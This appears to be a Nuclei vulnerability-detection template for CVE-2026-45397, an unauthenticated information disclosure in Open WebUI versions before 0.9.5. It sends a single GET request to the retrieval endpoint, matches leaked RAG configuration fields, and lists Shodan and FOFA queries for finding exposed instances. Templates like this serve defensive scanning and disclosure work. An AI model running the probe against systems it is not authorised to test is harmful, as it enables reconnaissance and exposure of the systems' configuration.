id: CVE-2026-45397

info:
  name: Open WebUI < 0.9.5 - Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    Open WebUI < 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication.
  impact: |
    Remote attackers can access sensitive configuration data without authentication, potentially aiding further attacks.
  remediation: |
    Update to version 0.9.5 or later.
  reference:
    - https://github.com/open-webui/open-webui/security/advisories/GHSA-65pg-qhhw-mxwg
    - https://github.com/open-webui/open-webui
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45397
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-862
    cve-id: CVE-2026-45397
    epss-score: 0.00576
    epss-percentile: 0.42868
  metadata:
    verified: true
    max-request: 1
    vendor: openwebui
    product: open-webui
    shodan-query: title:"Open WebUI"
    fofa-query: title="Open WebUI"
  tags: cve,cve2026,open-webui,exposure,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/retrieval/"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "CHUNK_SIZE", "RAG_EMBEDDING_MODEL", "RAG_TEMPLATE")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502201b74a2836327a786f2c2c2eca1328b2f3a445399c7f2bd8c2fcf47844779e3f702210088100bc6f734ba396ef6e504f034dd8e5486436cea5f48e848bac15f24016872:922c64590222798bb761d5b6d8e72950